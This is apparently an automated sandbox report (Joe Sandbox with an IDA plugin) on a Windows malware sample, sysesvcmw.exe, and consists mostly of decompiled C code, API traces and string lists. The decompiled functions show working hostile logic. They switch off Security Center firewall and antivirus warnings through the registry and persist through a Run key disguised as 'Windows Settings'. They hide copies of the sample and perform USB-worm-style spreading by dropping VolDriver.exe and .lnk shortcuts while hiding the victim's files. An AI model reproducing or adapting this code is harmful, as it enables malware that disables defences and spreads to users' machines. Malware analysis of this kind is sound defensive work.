LeaveCriticalSection.KERNEL32(0040EC80), ref: 0040BE27
DeleteCriticalSection.KERNEL32(0040EC80), ref: 0040BE34

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: d585c410c8feea3006216bdaf8938572b99092e330cb370cdf972aaff2801c2a
Instruction ID: b4a8df68a5ba6ddb4f07b24493b5635e0034f74153efd53aa39cf24915a517ea
Opcode Fuzzy Hash: d585c410c8feea3006216bdaf8938572b99092e330cb370cdf972aaff2801c2a
Instruction Fuzzy Hash: EF111E74900208EBDB04DF94D984A9DB7B5FF45309F2081A9E90667341DB35EE90DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CC30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

C-Code - Quality: 66%

			E0040CC30(char* _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr* _v20;
				void* _v24;
				void* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t44;
				intOrPtr* _t46;
				intOrPtr _t59;
				intOrPtr _t62;
				void* _t88;
				void* _t89;
				void* _t90;

				_v16 = 0;
				_t44 = E0040C260(_a4,  &_v8);
				_t89 = _t88 + 8;
				_v12 = _t44;
				if(_v12 != 0) {
					_t46 = E0040C000(_v12);
					_t90 = _t89 + 4;
					_v20 = _t46;
					if(_v20 != 0) {
						_v24 = 0;
						_push( &_v24);
						_push(_v20);
						if( *((intOrPtr*)( *((intOrPtr*)( *_v20 + 0xb4))))() == 0 && _v24 != 0) {
							_v28 = 0;
							_push( &_v28);
							_push(_v24);
							if( *((intOrPtr*)( *((intOrPtr*)( *_v24 + 0x30))))() == 0 && _v28 != 0) {
								_t59 = E0040CBE0(_v28);
								_t90 = _t90 + 4;
								_v32 = _t59;
								if(_v32 != 0) {
									_t62 = E0040CAC0(_v28);
									_t90 = _t90 + 4;
									_v36 = _t62;
									if(_v36 != 0) {
										E0040B3E0( &_v16, "%S%S", _v32);
										_t90 = _t90 + 0x10;
										__imp__#6(_v36, _v36);
									}
									__imp__#6(_v32);
								}
								 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 8))))(_v28);
							}
							 *((intOrPtr*)( *((intOrPtr*)( *_v24 + 8))))(_v24);
						}
						 *((intOrPtr*)( *((intOrPtr*)( *_v20 + 8))))(_v20);
					}
					E00408C70(_v12);
				}
				return _v16;
			}

APIs

Part of subcall function 0040C260: memset.NTDLL ref: 0040C288
Part of subcall function 0040C260: InternetCrackUrlA.WININET(0040D079,00000000,10000000,0000003C), ref: 0040C2D8
Part of subcall function 0040C260: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040C2E8
Part of subcall function 0040C260: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040C321
Part of subcall function 0040C260: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040C357
Part of subcall function 0040C260: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040C37F
Part of subcall function 0040C260: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040C3C8
Part of subcall function 0040C260: InternetCloseHandle.WININET(00000000), ref: 0040C457

Part of subcall function 0040C000: SysAllocString.OLEAUT32(00000000), ref: 0040C02E
Part of subcall function 0040C000: CoCreateInstance.OLE32(00410318,00000000,00004401,00410308,00000000), ref: 0040C056
Part of subcall function 0040C000: SysFreeString.OLEAUT32(00000000), ref: 0040C0F1

SysFreeString.OLEAUT32(00000000), ref: 0040CD0B
SysFreeString.OLEAUT32(00000000), ref: 0040CD15

Strings

%S%S, xrefs: 0040CCF6

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: 86f6504e5494efba9a820ad851abc2735c65b1deacf7d2d6193f3942743fcb34
Instruction ID: f6c0dd48525cf9db1308fcfd74a329a1c42d5f2fc6292bf47869dbcd9c674937
Opcode Fuzzy Hash: 86f6504e5494efba9a820ad851abc2735c65b1deacf7d2d6193f3942743fcb34
Instruction Fuzzy Hash: BB4129B5E00109DFDB04DBE4D885AEFB7B9BF88304F104669E505B7390D738AA45CBA5

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: sysesvcmw.exePID: 7824, Parent PID: 4884COMMON

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1437
Total number of Limit Nodes:	2

Executed Functions

Function 00405E10 Relevance: 166.7, APIs: 60, Strings: 35, Instructions: 492
registrysleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			_entry_() {
				short _v524;
				char _v528;
				int _v532;
				int _v536;
				char _v1060;
				void* _v1064;
				char _v1588;
				short _v2108;
				intOrPtr _v2112;
				short _v2636;
				void* _v2640;
				char _v3044;
				intOrPtr* _v3048;
				int _v3052;
				short _v3054;
				short _v3056;
				int _v3060;
				int _v3064;
				intOrPtr* _v3068;
				intOrPtr _v3072;
				short _v3074;
				signed int _v3080;
				intOrPtr* _v3084;
				intOrPtr _v3088;
				short _v3090;
				signed int _v3096;
				void* _t121;
				int _t129;
				intOrPtr _t149;
				signed char _t192;
				signed char _t203;
				int _t210;
				short _t215;
				intOrPtr _t219;
				short _t245;
				intOrPtr _t253;
				intOrPtr _t254;
				void* _t278;
				void* _t279;
				void* _t286;

				Sleep(0xbb8); // executed
				_v536 = 0;
				_v2112 = 0x235a;
				while(_v536 < _v2112) {
					_t210 = PathFileExistsW(L"2393737939739"); // executed
					if(_t210 != 0) {
						CopyFileW(L"297973937,", L"33973397337", 0);
						MoveFileA("337372927", "2282688262");
						MoveFileW(L"038038", L"333383737");
					}
					_v536 = _v536 + 1;
				}
				_t121 = CreateMutexA(0, 0, "2u9o0b7n"); // executed
				_v2640 = _t121;
				if(GetLastError() != 0xb7) {
					_v1064 = 0;
					_v528 = 1;
					GetModuleFileNameW(0, 0x4169d8, 0x105);
					_v532 = PathFindFileNameW(0x4169d8);
					wsprintfW( &_v524, L"%s:Zone.Identifier", 0x4169d8);
					_t279 = _t278 + 0xc;
					DeleteFileW( &_v524);
					ExpandEnvironmentStringsW(L"%userprofile%",  &_v2636, 0x104);
					_v3048 = 0x414bf0;
					_v3052 = _v532;
					while(1) {
						_t129 = _v3052;
						_t215 =  *_t129;
						_v3054 = _t215;
						if(_t215 !=  *_v3048) {
							break;
						}
						if(_v3054 == 0) {
							L12:
							_v3060 = 0;
							L14:
							_v3064 = _v3060;
							if(_v3064 == 0) {
								L31:
								Sleep(0x1f4);
								if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center", 0, 0x20006,  &_v1064) == 0) {
									RegSetValueExA(_v1064, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1064);
								}
								if(RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Security Center\\Svc", 0, 0x20006,  &_v1064) == 0) {
									RegSetValueExA(_v1064, "FirewallOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "FirewallDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiSpywareOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "AntiVirusDisableNotify", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesOverride", 0, 4,  &_v528, 4);
									RegSetValueExA(_v1064, "UpdatesDisableNotify", 0, 4,  &_v528, 4);
									RegCloseKey(_v1064);
								}
								Sleep(0x1f4);
								if((E0040B1C0() & 0x000000ff) != 0) {
									__imp__#115(0x202,  &_v3044);
									wsprintfW(0x416be8, L"%s\\tbnds.dat",  &_v2636);
									wsprintfW(0x4165c8, L"%s\\tbcmds.dat",  &_v2636);
									CreateThread(0, 0, E004043F0, 0, 0, 0);
									Sleep(0x3e8);
									CreateThread(0, 0, E004054A0, 0, 0, 0);
									Sleep(0x3e8);
									CreateThread(0, 0, E00405CF0, 0, 0, 0);
									Sleep(0x2710);
									E004045F0();
									E00405BA0(E0040D020(),  &_v2636);
									 *0x416e0c = CreateEventA(0, 1, 0, 0);
									 *0x416e14 = E0040A8F0( &_v2636);
									 *0x416e10 = E0040BAF0( &_v2636);
									E00409D40();
									_t253 =  *0x416e10; // 0x0
									E0040BBA0(_t253, 0, E0040BFB0, 0, 0, 0);
									_t149 =  *0x416e10; // 0x0
									E0040BBA0(_t149, 0, E0040BF10, 0, 0, 0);
									_t219 =  *0x416e10; // 0x0
									E0040BBA0(_t219, 0, E0040BAA0, 0, 0, 0);
									_t254 =  *0x416e10; // 0x0
									E0040BBA0(_t254, 0, E0040B8A0, 0, 0, 0);
								}
								return 0;
							}
							if((E0040D0F0() & 0x000000ff) != 1) {
								ExpandEnvironmentStringsW(L"%windir%",  &_v2108, 0x104);
								wsprintfW( &_v1588, L"%s\\%s",  &_v2108, 0x414bf0);
								_t286 = _t279 + 0x10;
								if(CopyFileW(0x4169d8,  &_v1588, 0) == 0) {
									L24:
									Sleep(0x1f4);
									wsprintfW( &_v1060, L"%s\\%s",  &_v2636, 0x414bf0);
									_t279 = _t286 + 0x10;
									if(CopyFileW(0x4169d8,  &_v1060, 0) == 0) {
										goto L31;
									}
									SetFileAttributesW( &_v1060, 3);
									if(RegOpenKeyExW(0x80000001, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1064) != 0) {
										L29:
										_t192 = E0040D390( &_v1060);
										_t279 = _t279 + 4;
										if((_t192 & 0x000000ff) != 1) {
											goto L31;
										}
										ExitProcess(0);
									}
									_v3084 =  &_v1060;
									_v3088 = _v3084 + 2;
									do {
										_v3090 =  *_v3084;
										_v3084 = _v3084 + 2;
									} while (_v3090 != 0);
									_v3096 = _v3084 - _v3088 >> 1;
									RegSetValueExW(_v1064, L"Windows Settings", 0, 1,  &_v1060, _v3096 + _v3096 + 2);
									RegCloseKey(_v1064);
									goto L29;
								}
								SetFileAttributesW( &_v1588, 3);
								if(RegOpenKeyExW(0x80000002, L"Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", 0, 0x20006,  &_v1064) != 0) {
									L22:
									_t203 = E0040D390( &_v1588);
									_t286 = _t286 + 4;
									if((_t203 & 0x000000ff) != 1) {
										goto L24;
									}
									ExitProcess(0);
								}
								_v3068 =  &_v1588;
								_v3072 = _v3068 + 2;
								do {
									_v3074 =  *_v3068;
									_v3068 = _v3068 + 2;
								} while (_v3074 != 0);
								_v3080 = _v3068 - _v3072 >> 1;
								RegSetValueExW(_v1064, L"Windows Settings", 0, 1,  &_v1588, _v3080 + _v3080 + 2);
								RegCloseKey(_v1064);
								goto L22;
							}
							ExitProcess(0);
						}
						_t129 = _v3052;
						_t245 =  *((intOrPtr*)(_t129 + 2));
						_v3056 = _t245;
						_t25 = _v3048 + 2; // 0x790073
						if(_t245 !=  *_t25) {
							break;
						}
						_v3052 = _v3052 + 4;
						_v3048 = _v3048 + 4;
						if(_v3056 != 0) {
							continue;
						}
						goto L12;
					}
					asm("sbb eax, eax");
					asm("sbb eax, 0xffffffff");
					_v3060 = _t129;
					goto L14;
				}
				ExitProcess(0); // executed
			}

0x00405e1e
0x00405e24
0x00405e2e
0x00405e38
0x00405e4b
0x00405e53
0x00405e61
0x00405e71
0x00405e81
0x00405e81
0x00405e90
0x00405e90
0x00405ea1
0x00405ea7
0x00405eb8
0x00405ec2
0x00405ecc
0x00405ee2
0x00405ef3
0x00405f0a
0x00405f10
0x00405f1a
0x00405f31
0x00405f37
0x00405f47
0x00405f4d
0x00405f4d
0x00405f53
0x00405f56
0x00405f66
0x00000000
0x00000000
0x00405f70
0x00405fa7
0x00405fa7
0x00405fbe
0x00405fc4
0x00405fd1
0x0040623a
0x0040623f
0x00406265
0x00406284
0x004062a3
0x004062c2
0x004062e1
0x00406300
0x0040631f
0x0040633e
0x0040634b
0x0040634b
0x00406371
0x00406390
0x004063af
0x004063ce
0x004063ed
0x0040640c
0x0040642b
0x0040644a
0x00406457
0x00406457
0x00406462
0x00406472
0x00406484
0x0040649b
0x004064b5
0x004064cd
0x004064d8
0x004064ed
0x004064f8
0x0040650d
0x00406518
0x0040651e
0x00406528
0x0040653b
0x00406545
0x0040654f
0x00406554
0x00406566
0x0040656d
0x00406582
0x00406588
0x0040659d
0x004065a4
0x004065b9
0x004065c0
0x004065c5
0x00000000
0x004065cc
0x00405fe2
0x00405ffd
0x0040601b
0x00406021
0x0040603a
0x00406119
0x0040611e
0x0040613c
0x00406142
0x0040615b
0x00000000
0x00000000
0x0040616a
0x00406190
0x0040621b
0x00406222
0x00406227
0x00406230
0x00000000
0x00000000
0x00406234
0x00406234
0x0040619c
0x004061ab
0x004061b1
0x004061ba
0x004061c1
0x004061c8
0x004061e0
0x00406208
0x00406215
0x00000000
0x00406215
0x00406049
0x0040606f
0x004060fa
0x00406101
0x00406106
0x0040610f
0x00000000
0x00000000
0x00406113
0x00406113
0x0040607b
0x0040608a
0x00406090
0x00406099
0x004060a0
0x004060a7
0x004060bf
0x004060e7
0x004060f4
0x00000000
0x004060f4
0x00405fe6
0x00405fe6
0x00405f72
0x00405f78
0x00405f7c
0x00405f89
0x00405f8d
0x00000000
0x00000000
0x00405f8f
0x00405f96
0x00405fa5
0x00000000
0x00000000
0x00000000
0x00405fa5
0x00405fb3
0x00405fb5
0x00405fb8
0x00000000
0x00405fb8
0x00405ebc

APIs

Sleep.KERNELBASE(00000BB8), ref: 00405E1E
PathFileExistsW.KERNELBASE(2393737939739), ref: 00405E4B
CopyFileW.KERNEL32(297973937,,33973397337,00000000), ref: 00405E61
MoveFileA.KERNEL32(337372927,2282688262), ref: 00405E71
MoveFileW.KERNEL32(038038,333383737), ref: 00405E81
CreateMutexA.KERNELBASE(00000000,00000000,2u9o0b7n), ref: 00405EA1
GetLastError.KERNEL32 ref: 00405EAD
ExitProcess.KERNEL32 ref: 00405EBC
GetModuleFileNameW.KERNEL32(00000000,004169D8,00000105), ref: 00405EE2
PathFindFileNameW.SHLWAPI(004169D8), ref: 00405EED
wsprintfW.USER32 ref: 00405F0A
DeleteFileW.KERNEL32(?), ref: 00405F1A
ExpandEnvironmentStringsW.KERNEL32(%userprofile%,?,00000104), ref: 00405F31
ExitProcess.KERNEL32 ref: 00405FE6
ExpandEnvironmentStringsW.KERNEL32(%windir%,?,00000104), ref: 00405FFD
wsprintfW.USER32 ref: 0040601B
CopyFileW.KERNEL32(004169D8,?,00000000), ref: 00406032
SetFileAttributesW.KERNEL32(?,00000003), ref: 00406049
RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Run\,00000000,00020006,00000000), ref: 00406067
RegSetValueExW.ADVAPI32(00000000,Windows Settings,00000000,00000001,?,?), ref: 004060E7
RegCloseKey.ADVAPI32(00000000), ref: 004060F4
ExitProcess.KERNEL32 ref: 00406113
Sleep.KERNEL32(000001F4), ref: 0040611E
wsprintfW.USER32 ref: 0040613C
CopyFileW.KERNEL32(004169D8,?,00000000), ref: 00406153
SetFileAttributesW.KERNEL32(?,00000003), ref: 0040616A
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run\,00000000,00020006,00000000), ref: 00406188
RegSetValueExW.ADVAPI32(00000000,Windows Settings,00000000,00000001,?,?), ref: 00406208
RegCloseKey.ADVAPI32(00000000), ref: 00406215
ExitProcess.KERNEL32 ref: 00406234
Sleep.KERNEL32(000001F4), ref: 0040623F
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center,00000000,00020006,00000000), ref: 0040625D
RegSetValueExA.ADVAPI32(00000000,FirewallOverride,00000000,00000004,00000001,00000004), ref: 00406284
RegSetValueExA.ADVAPI32(00000000,FirewallDisableNotify,00000000,00000004,00000001,00000004), ref: 004062A3
RegSetValueExA.ADVAPI32(00000000,AntiSpywareOverride,00000000,00000004,00000001,00000004), ref: 004062C2
RegSetValueExA.ADVAPI32(00000000,AntiVirusOverride,00000000,00000004,00000001,00000004), ref: 004062E1
RegSetValueExA.ADVAPI32(00000000,AntiVirusDisableNotify,00000000,00000004,00000001,00000004), ref: 00406300
RegSetValueExA.ADVAPI32(00000000,UpdatesOverride,00000000,00000004,00000001,00000004), ref: 0040631F
RegSetValueExA.ADVAPI32(00000000,UpdatesDisableNotify,00000000,00000004,00000001,00000004), ref: 0040633E
RegCloseKey.ADVAPI32(00000000), ref: 0040634B
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Security Center\Svc,00000000,00020006,00000000), ref: 00406369
RegSetValueExA.ADVAPI32(00000000,FirewallOverride,00000000,00000004,00000001,00000004), ref: 00406390
RegSetValueExA.ADVAPI32(00000000,FirewallDisableNotify,00000000,00000004,00000001,00000004), ref: 004063AF
RegSetValueExA.ADVAPI32(00000000,AntiSpywareOverride,00000000,00000004,00000001,00000004), ref: 004063CE
RegSetValueExA.ADVAPI32(00000000,AntiVirusOverride,00000000,00000004,00000001,00000004), ref: 004063ED
RegSetValueExA.ADVAPI32(00000000,AntiVirusDisableNotify,00000000,00000004,00000001,00000004), ref: 0040640C
RegSetValueExA.ADVAPI32(00000000,UpdatesOverride,00000000,00000004,00000001,00000004), ref: 0040642B
RegSetValueExA.ADVAPI32(00000000,UpdatesDisableNotify,00000000,00000004,00000001,00000004), ref: 0040644A
RegCloseKey.ADVAPI32(00000000), ref: 00406457
Sleep.KERNEL32(000001F4), ref: 00406462
WSAStartup.WS2_32(00000202,?), ref: 00406484
wsprintfW.USER32 ref: 0040649B
wsprintfW.USER32 ref: 004064B5
CreateThread.KERNEL32(00000000,00000000,004043F0,00000000,00000000,00000000), ref: 004064CD
Sleep.KERNEL32(000003E8), ref: 004064D8
CreateThread.KERNEL32(00000000,00000000,004054A0,00000000,00000000,00000000), ref: 004064ED
Sleep.KERNEL32(000003E8), ref: 004064F8
CreateThread.KERNEL32(00000000,00000000,00405CF0,00000000,00000000,00000000), ref: 0040650D
Sleep.KERNEL32(00002710), ref: 00406518
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00406535

Strings

2u9o0b7n, xrefs: 00405E98
FirewallDisableNotify, xrefs: 00406297
UpdatesDisableNotify, xrefs: 00406332
UpdatesOverride, xrefs: 0040641F
%s\tbcmds.dat, xrefs: 004064AB
AntiVirusOverride, xrefs: 004063E1
AntiVirusOverride, xrefs: 004062D5
297973937,, xrefs: 00405E5C
337372927, xrefs: 00405E6C
Windows Settings, xrefs: 004060DB, 004061FC
Z#, xrefs: 00405E2E
%s:Zone.Identifier, xrefs: 00405EFE
%s\%s, xrefs: 0040600F
UpdatesOverride, xrefs: 00406313
SOFTWARE\Microsoft\Security Center, xrefs: 00406253
2282688262, xrefs: 00405E67
038038, xrefs: 00405E7C
%windir%, xrefs: 00405FF8
SOFTWARE\Microsoft\Security Center\Svc, xrefs: 0040635F
FirewallDisableNotify, xrefs: 004063A3
AntiSpywareOverride, xrefs: 004063C2
33973397337, xrefs: 00405E57
FirewallOverride, xrefs: 00406278
FirewallOverride, xrefs: 00406384
AntiVirusDisableNotify, xrefs: 00406400
AntiSpywareOverride, xrefs: 004062B6
%s\%s, xrefs: 00406130
AntiVirusDisableNotify, xrefs: 004062F4
UpdatesDisableNotify, xrefs: 0040643E
%userprofile%, xrefs: 00405F2C
%s\tbnds.dat, xrefs: 00406491
333383737, xrefs: 00405E77
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040605D
2393737939739, xrefs: 00405E46
Software\Microsoft\Windows\CurrentVersion\Run\, xrefs: 0040617E

Memory Dump Source

Source File: 00000008.00000002.1462699061.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.1462659242.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462831343.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.1462921406.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Value$File$Sleep$Createwsprintf$CloseExitOpenProcess$CopyThread$AttributesEnvironmentExpandMoveNamePathStrings$DeleteErrorEventExistsFindLastModuleMutexStartup
String ID: %s:Zone.Identifier$%s\%s$%s\%s$%s\tbcmds.dat$%s\tbnds.dat$%userprofile%$%windir%$038038$2282688262$2393737939739$297973937,$2u9o0b7n$333383737$337372927$33973397337$AntiSpywareOverride$AntiSpywareOverride$AntiVirusDisableNotify$AntiVirusDisableNotify$AntiVirusOverride$AntiVirusOverride$FirewallDisableNotify$FirewallDisableNotify$FirewallOverride$FirewallOverride$SOFTWARE\Microsoft\Security Center$SOFTWARE\Microsoft\Security Center\Svc$Software\Microsoft\Windows\CurrentVersion\Run\$Software\Microsoft\Windows\CurrentVersion\Run\$UpdatesDisableNotify$UpdatesDisableNotify$UpdatesOverride$UpdatesOverride$Windows Settings$Z#
API String ID: 2549499605-945890190
Opcode ID: f746adeada96446dc3245649bddd4a9d991eb45b4019eb8eef4e2c3d2dac2882
Instruction ID: 83af2952ddda4d09f50abae1b8075a5cb95368c24024515adc0fadd5cc82fc98
Opcode Fuzzy Hash: f746adeada96446dc3245649bddd4a9d991eb45b4019eb8eef4e2c3d2dac2882
Instruction Fuzzy Hash: D1122EB1B80318ABE7209B50DC4AFD97774EB48B05F5081A5B309AA1D1D7F4AAC4CF5D

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404FC0 Relevance: 75.5, APIs: 32, Strings: 11, Instructions: 293
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00404FC0(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16) {
				short _v524;
				short _v1044;
				short _v1564;
				short _v2084;
				intOrPtr _v2088;
				short _v2612;
				short _v3132;
				char _v3133;
				struct _WIN32_FIND_DATAW _v3732;
				short _v4252;
				void* _v4256;
				short _v4780;
				intOrPtr _v4784;
				WCHAR* _v4788;
				WCHAR* _v4792;
				WCHAR* _v4796;
				WCHAR* _v4800;
				WCHAR* _v4804;
				intOrPtr _v4808;
				WCHAR* _v4812;
				WCHAR* _v4816;
				WCHAR* _v4820;
				WCHAR* _v4824;
				WCHAR* _v4828;
				WCHAR* _v4832;
				WCHAR* _v4836;
				WCHAR* _v4840;
				WCHAR* _v4844;
				WCHAR* _v4848;
				WCHAR* _v4852;
				WCHAR* _v4856;
				WCHAR* _v4860;
				signed char _v4861;
				signed char _v4862;
				signed int _v4868;
				signed int _v4872;
				intOrPtr _t167;
				intOrPtr _t195;
				void* _t218;
				void* _t219;
				void* _t224;

				L0040EE0A();
				if((_a12 & 0x00080000) != 0) {
					return 0;
				}
				_v2088 = 0x415124;
				_v3133 = 0;
				wsprintfW( &_v1564, L"%s.lnk", _a8);
				wsprintfW( &_v4252, L"%s\\%s", _a4, _v2088);
				wsprintfW( &_v4780, L"%s\\%s\\VolDriver.exe", _a4, _v2088);
				wsprintfW( &_v2612, L"%s\\%s", _a4,  &_v1564);
				wsprintfW( &_v1044, L"%s\\*", _a4);
				_t224 = _t219 + 0x48;
				if(PathFileExistsW( &_v4780) != 0) {
					_t167 = E0040D180( &_v4780);
					_t224 = _t224 + 4;
					_v4784 = _t167;
					_t195 =  *0x4163b8; // 0x0
					if(_t195 != _v4784) {
						SetFileAttributesW( &_v4780, 0x80);
						DeleteFileW( &_v4780);
					}
				}
				if(PathFileExistsW( &_v4780) == 0) {
					if(PathFileExistsW( &_v4252) == 0 && CreateDirectoryW( &_v4252, 0) != 0) {
						SetFileAttributesW( &_v4252, 2);
					}
					if(PathFileExistsW( &_v4252) != 0 && CopyFileW(0x4163c0,  &_v4780, 0) != 0) {
						SetFileAttributesW( &_v4780, 2);
					}
				}
				if(PathFileExistsW( &_v2612) == 0) {
					if((_a16 & 0x000000ff) == 0) {
						E00404D70( &_v2612, L"shell32.dll", 8);
						_t224 = _t224 + 0xc;
					} else {
						E00404D70( &_v2612, L"shell32.dll", 9);
						_t224 = _t224 + 0xc;
					}
					SetFileAttributesW( &_v2612, 1);
				}
				_v4256 = FindFirstFileW( &_v1044,  &_v3732);
				if(_v4256 == 0xffffffff) {
					L45:
					return _v3133;
				} else {
					_v4860 = L"*.lnk";
					_v4856 = L"*.vbs";
					_v4852 = L"*.js";
					_v4848 = L"*.scr";
					_v4844 = L"*.com";
					_v4840 = L"*.jse";
					_v4836 = L"*.cmd";
					_v4832 = L"*.pif";
					_v4828 = L"*.jar";
					_v4824 = L"*.dll";
					_v4820 = L"*.vbe";
					_v4816 = L"*.bat";
					_v4812 = L"*.inf";
					_v4808 = _v2088;
					_v4804 =  &_v1564;
					_v4800 = L"Thumbs.db";
					_v4796 = L"$RECYCLE.BIN";
					_v4792 = L"desktop.ini";
					_v4788 = L"System Volume Information";
					do {
						if(lstrcmpW( &(_v3732.cFileName), ".") != 0 && lstrcmpW( &(_v3732.cFileName), L"..") != 0) {
							_v4862 = 0;
							_v4868 = 0;
							while(_v4868 < 6) {
								if(lstrcmpiW( &(_v3732.cFileName),  *(_t218 + _v4868 * 4 - 0x12c4)) == 0) {
									_v4862 = 1;
									break;
								}
								_v4868 = _v4868 + 1;
							}
							if((_v4862 & 0x000000ff) == 0) {
								_v4861 = 0;
								_v4872 = 0;
								while(_v4872 < 0xd) {
									if(PathMatchSpecW( &(_v3732.cFileName),  *(_t218 + _v4872 * 4 - 0x12f8)) != 0) {
										wsprintfW( &_v2084, L"%s\\%s", _a4,  &(_v3732.cFileName));
										_t224 = _t224 + 0x10;
										SetFileAttributesW( &_v2084, 0x80);
										DeleteFileW( &_v2084);
										_v4861 = 1;
										break;
									}
									_v4872 = _v4872 + 1;
								}
								if((_v4861 & 0x000000ff) == 0) {
									if(PathFileExistsW( &_v4252) != 0) {
										wsprintfW( &_v3132, L"%s\\%s", _a4,  &(_v3732.cFileName));
										wsprintfW( &_v524, L"%s\\%s\\%s", _a4, _v2088,  &(_v3732.cFileName));
										_t224 = _t224 + 0x24;
										if((_v3732.dwFileAttributes & 0x00000010) == 0) {
											MoveFileExW( &_v3132,  &_v524, 9);
										} else {
											E00404E80( &_v3132,  &_v524);
											_t224 = _t224 + 8;
										}
									}
								}
								goto L43;
							}
						}
						L43:
					} while (FindNextFileW(_v4256,  &_v3732) != 0);
					FindClose(_v4256);
					goto L45;
				}
			}

APIs

_chkstk.NTDLL(?,00405610,?,?,?), ref: 00404FC8
wsprintfW.USER32 ref: 00404FFF
wsprintfW.USER32 ref: 0040501F
wsprintfW.USER32 ref: 0040503F
wsprintfW.USER32 ref: 0040505F
wsprintfW.USER32 ref: 00405078
PathFileExistsW.SHLWAPI(?), ref: 00405088
SetFileAttributesW.KERNEL32(?,00000080), ref: 004050C1
DeleteFileW.KERNEL32(?), ref: 004050CE
PathFileExistsW.SHLWAPI(?), ref: 004050DB
PathFileExistsW.SHLWAPI(?), ref: 004050EC
CreateDirectoryW.KERNEL32(?,00000000), ref: 004050FF
SetFileAttributesW.KERNEL32(?,00000002), ref: 00405112
PathFileExistsW.SHLWAPI(?), ref: 0040511F
CopyFileW.KERNEL32(004163C0,?,00000000), ref: 00405137
SetFileAttributesW.KERNEL32(?,00000002), ref: 0040514A

Strings

%s.lnk, xrefs: 00404FF3
shell32.dll, xrefs: 00405183
%s\%s, xrefs: 004053F1
%s\*, xrefs: 0040506C
